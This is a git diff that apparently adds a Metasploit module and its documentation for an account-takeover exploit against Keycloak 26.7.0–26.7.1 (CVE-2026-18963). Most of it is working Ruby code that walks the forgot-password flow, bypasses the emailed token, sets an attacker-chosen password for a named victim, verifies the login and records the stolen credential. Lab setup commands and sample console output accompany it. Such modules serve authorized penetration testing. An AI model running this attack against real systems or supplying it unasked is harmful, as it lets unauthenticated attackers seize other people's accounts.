diff --git a/documentation/modules/auxiliary/admin/http/keycloak_reset_credentials_ato.md b/documentation/modules/auxiliary/admin/http/keycloak_reset_credentials_ato.md new file mode 100644 index 0000000000000..57de532bba5d8 --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/keycloak_reset_credentials_ato.md @@ -0,0 +1,112 @@ +## Vulnerable Application + +Keycloak **26.7.0** and **26.7.1** ship a broken "try another way" credential selector in +the reset-credentials (Forgot Password) flow (**CVE-2026-18963**). When the selector screen +is rendered it stores an authentication session note that is not scoped to the current +authenticator execution. An attacker can walk the reset flow, switch to the credential +selector, name a victim, and then drive the email reset authenticator to `success()` without +ever submitting the one-time token that Keycloak mailed to the account owner. The flow then +moves straight to the update-password screen, so an unauthenticated attacker can set a new +password for any account in a realm that has "Forgot password" enabled. The issue is fixed in +**26.7.2**. + +The only preconditions are: + +* the target realm has **Forgot password** (`resetPasswordAllowed`) turned on, and +* a valid `client_id` plus a `redirect_uri` that client accepts. + +Every realm ships the built-in `account` client, whose default valid redirect is +`/realms//account/*`, so the module uses that client by default and needs no +knowledge of the realm's custom clients. Keycloak does not disclose its build version over +HTTP (the theme resource path is a build hash, not a semver), so `check` confirms that the +reset-credentials flow is reachable rather than fingerprinting a version; `run` proves the +finding by setting a password and logging in with it. + +This module reaches the update-password screen for a chosen victim without the emailed token, +sets an attacker controlled password, and then performs a fresh login to confirm the +takeover. + +### Setting up a vulnerable environment + +Run Keycloak 26.7.1 and give it a realm with Forgot Password enabled plus a victim user: + +``` +docker run --rm -p 8080:8080 \ + -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \ + quay.io/keycloak/keycloak:26.7.1 start-dev +``` + +``` +KCADM=/opt/keycloak/bin/kcadm.sh +$KCADM config credentials --server http://localhost:8080 --realm master --user admin --password admin +$KCADM create realms -s realm=demo -s enabled=true -s resetPasswordAllowed=true +$KCADM create users -r demo -s username=victim -s email=victim@example.com -s enabled=true +$KCADM set-password -r demo --username victim --new-password Origin@l1 +``` + +The `account` client is created automatically with the realm, so no further client setup is +needed. + +## Verification Steps + +1. Start `msfconsole`. +2. `use auxiliary/admin/http/keycloak_reset_credentials_ato` +3. `set RHOSTS ` +4. `set REALM demo` +5. `set VICTIM victim` +6. (optional) `set NEW_PASSWORD `, otherwise one is generated. +7. `check` should report that the reset-credentials flow is enabled. +8. `run` +9. The victim's new password is printed and, on a live database, stored as a credential. + +## Options + +### REALM +Name of the target realm. Required. Default `master`. + +### CLIENT_ID +The OIDC `client_id` used to open the flow. Any client in the realm works. The default +`account` is the built-in account console client, which is present in every realm. Required. + +### REDIRECT_URI +A `redirect_uri` that `CLIENT_ID` accepts. Left blank, the module uses the built-in account +console URL (`/realms//account/`), which is the default valid redirect for the +`account` client. Set this when you point `CLIENT_ID` at a custom client. + +### VICTIM +Username or email of the account to take over. Required. + +### NEW_PASSWORD +Password to set on the victim account. Left blank, the module generates one that satisfies a +typical password policy and prints it. + +## Scenarios + +### Keycloak 26.7.1, taking over a user through the built-in account client + +``` +msf6 > use auxiliary/admin/http/keycloak_reset_credentials_ato +msf6 auxiliary(admin/http/keycloak_reset_credentials_ato) > set RHOSTS 172.16.10.20 +msf6 auxiliary(admin/http/keycloak_reset_credentials_ato) > set REALM demo +msf6 auxiliary(admin/http/keycloak_reset_credentials_ato) > set VICTIM victim +msf6 auxiliary(admin/http/keycloak_reset_credentials_ato) > check +[*] 172.16.10.20:8080 - The service is running, but could not be validated. reset-credentials flow is enabled; run to confirm the takeover (Keycloak does not disclose its version remotely) +msf6 auxiliary(admin/http/keycloak_reset_credentials_ato) > run +[*] Running module against 172.16.10.20 +[+] Reached the update-password screen for victim without the emailed token +[*] Submitted a new password for victim +[+] Account takeover confirmed: victim : Flrjedfz525! +[*] Auxiliary module execution completed +``` + +### Custom client with an off-origin callback + +When the realm's account client is disabled, point the module at another public client and +supply a redirect it accepts: + +``` +msf6 auxiliary(admin/http/keycloak_reset_credentials_ato) > set CLIENT_ID webapp +msf6 auxiliary(admin/http/keycloak_reset_credentials_ato) > set REDIRECT_URI https://app.example.com/callback +msf6 auxiliary(admin/http/keycloak_reset_credentials_ato) > set NEW_PASSWORD Sup3rSecret! +msf6 auxiliary(admin/http/keycloak_reset_credentials_ato) > run +``` diff --git a/modules/auxiliary/admin/http/keycloak_reset_credentials_ato.rb b/modules/auxiliary/admin/http/keycloak_reset_credentials_ato.rb new file mode 100644 index 0000000000000..b2beab78a534a --- /dev/null +++ b/modules/auxiliary/admin/http/keycloak_reset_credentials_ato.rb @@ -0,0 +1,255 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Keycloak Reset Credentials Flow Account Takeover', + 'Description' => %q{ + Keycloak 26.7.0 and 26.7.1 ship a broken "try another way" credential selector + in the reset-credentials (Forgot Password) flow (CVE-2026-18963). When the + selector screen is shown it records a sticky note that is not scoped to the + current authenticator execution, so an attacker can drive the email reset + authenticator to success without ever presenting the token that Keycloak mailed + to the account owner. The flow then advances straight to the update-password + screen, which lets an unauthenticated attacker set a new password for any + account in a realm that has Forgot Password enabled. The issue is fixed in + 26.7.2. + + This module walks the reset-credentials flow for a chosen victim, reaches the + update-password screen without the emailed token, sets an attacker controlled + password, and then logs in with it to confirm the takeover. + }, + 'Author' => [ + 'venexy ' + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-18963'], + ['URL', 'https://www.keycloak.org/security'] + ], + 'DisclosureDate' => '2026-08-25', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS] + } + ) + ) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'Base path to Keycloak', '/']), + OptString.new('REALM', [true, 'Target realm name', 'master']), + OptString.new('CLIENT_ID', [true, 'OIDC client_id used to start the flow (any valid client in the realm)', 'account']), + OptString.new('REDIRECT_URI', [false, 'redirect_uri valid for CLIENT_ID (blank uses the built-in account console URL)', '']), + OptString.new('VICTIM', [true, 'Username or email of the account to take over']), + OptString.new('NEW_PASSWORD', [false, 'Password to set on the victim account (blank generates one)', '']) + ] + ) + end + + def base_url + vhost = datastore['VHOST'].to_s.empty? ? rhost : datastore['VHOST'] + "#{ssl ? 'https' : 'http'}://#{vhost}:#{rport}" + end + + def redirect_uri + return datastore['REDIRECT_URI'] unless datastore['REDIRECT_URI'].to_s.empty? + + "#{base_url}#{normalize_uri(target_uri.path, 'realms', datastore['REALM'], 'account')}/" + end + + def new_password + @new_password ||= + if datastore['NEW_PASSWORD'].to_s.empty? + "#{Rex::Text.rand_text_alpha_upper(1)}#{Rex::Text.rand_text_alpha_lower(7)}#{Rex::Text.rand_text_numeric(3)}!" + else + datastore['NEW_PASSWORD'] + end + end + + def auth_code?(location) + location.to_s =~ /[?&]code=/ + end + + def cookie_header + @jar.map { |name, value| "#{name}=#{value}" }.join('; ') + end + + # Keycloak sends deletions as empty-value Set-Cookie entries; mirror that in the jar. + def merge_cookies(res) + return unless res + + res.get_cookies.split(';').each do |pair| + name, value = pair.strip.split('=', 2) + next if name.nil? || name.empty? + + if value.nil? || value.empty? + @jar.delete(name) + else + @jar[name] = value + end + end + end + + # Send one request and follow same-origin redirects by hand. The reset flow bounces + # through login-actions with a quoted KC_AUTH_SESSION_HASH cookie that trips up standard + # cookie jars, so we carry cookies ourselves and stop the moment an OIDC code is issued + # or a redirect leaves our origin (the client callback). + def http_send(method, uri, form = nil, depth = 0) + @last = uri + req = { 'method' => method, 'uri' => uri, 'cookie' => cookie_header } + req['vars_post'] = form if form + res = send_request_cgi(req) + return res unless res + + merge_cookies(res) + return res unless depth < 8 && [301, 302, 303, 307, 308].include?(res.code) + + loc = res.headers['Location'] || res.headers['location'] + return res if loc.nil? || loc.empty? + + if auth_code?(loc) + @last = loc + return res + end + if loc =~ %r{\Ahttps?://}i + return res unless loc.start_with?(base_url) + + path = loc[base_url.length..] + path = '/' if path.to_s.empty? + return http_send('GET', path, nil, depth + 1) + end + http_send('GET', loc, nil, depth + 1) + end + + def form_action(html, form_id = nil) + if form_id + m = html.match(/]*id="#{Regexp.escape(form_id)}"[^>]*\baction="([^"]+)"/i) || + html.match(/]*\baction="([^"]+)"/i) + else + m = html.match(/]*\baction="([^"]+)"/i) + end + m && m[1].gsub('&', '&') + end + + def auth_request + http_send( + 'GET', + "#{normalize_uri(target_uri.path, 'realms', datastore['REALM'], 'protocol', 'openid-connect', 'auth')}" \ + "?client_id=#{datastore['CLIENT_ID']}&redirect_uri=#{CGI.escape(redirect_uri)}&response_type=code&scope=openid" + ) + end + + def check + @jar = {} + res = auth_request + return Exploit::CheckCode::Unknown('No response from the Keycloak authentication endpoint') unless res + + unless res.code == 200 && res.body.to_s =~ /kc-form-login|login-actions/i + return Exploit::CheckCode::Unknown("Unexpected reply (HTTP #{res.code}); check REALM and CLIENT_ID") + end + + if res.body =~ %r{href="/realms/[^"]*reset-credentials[^"]*"} + Exploit::CheckCode::Detected('reset-credentials flow is enabled; run to confirm the takeover (Keycloak does not disclose its version remotely)') + else + Exploit::CheckCode::Safe('Keycloak is reachable but the reset-credentials (Forgot Password) flow is disabled') + end + end + + def run + @jar = {} + victim = datastore['VICTIM'] + + res = auth_request + fail_with(Failure::Unreachable, 'No response from the Keycloak authentication endpoint') unless res + link = res.body.to_s[%r{href="(/realms/[^"]*reset-credentials[^"]*)"}, 1] + fail_with(Failure::NotVulnerable, 'No reset-credentials link on the login page (Forgot Password is disabled)') unless link + + # 1) open the reset flow and remember its URL for the sticky-note re-render + res = step(http_send('GET', link.gsub('&', '&'))) + reset_url = @last + + # 2) switch to "try another way" so Keycloak renders the credential selector + res = step(http_send('POST', form_action(res.body), { 'tryAnotherWay' => 'on' })) + selector = form_action(res.body, 'kc-select-credential-form') || form_action(res.body) + fail_with(Failure::UnexpectedReply, 'Credential selector screen never rendered') unless selector + + # 3) name the victim on the selector; this sets the un-scoped sticky note + step(http_send('POST', selector, { 'username' => victim })) + + # 4) re-render the reset screen, then drive the email authenticator to success + # with no token, which advances the flow to the update-password screen + res = step(http_send('GET', reset_url)) + selector2 = form_action(res.body, 'kc-select-credential-form') || form_action(res.body) + res = step(http_send('POST', selector2, {})) + + unless res.body.to_s.include?('password-new') + fail_with(Failure::NotVulnerable, "Did not reach the update-password screen for #{victim}; the target is likely patched (>= 26.7.2)") + end + print_good("Reached the update-password screen for #{victim} without the emailed token") + + # 5) set the attacker password + step(http_send('POST', form_action(res.body), { 'password-new' => new_password, 'password-confirm' => new_password })) + print_status("Submitted a new password for #{victim}") + + # 6) prove it: log in with the new password and confirm an auth code comes back + unless verify_login(victim) + fail_with(Failure::UnexpectedReply, 'Password was set but login with it failed; the account may enforce additional required actions') + end + + print_good("Account takeover confirmed: #{victim} : #{new_password}") + report_cred(victim, new_password) + end + + def verify_login(victim) + @jar = {} + res = auth_request + return false unless res + + action = form_action(res.body) + return false unless action + + http_send('POST', action, { 'username' => victim, 'password' => new_password }) + auth_code?(@last) + end + + def report_cred(user, password) + return unless framework.db.active + + service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + module_fullname: fullname, + origin_type: :service, + private_type: :password, + private_data: password, + username: user + }.merge(service_data) + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + access_level: 'User' + }.merge(service_data) + create_credential_login(login_data) + end + + def step(res) + fail_with(Failure::Unreachable, 'Lost connection during the reset-credentials flow') unless res + res + end +end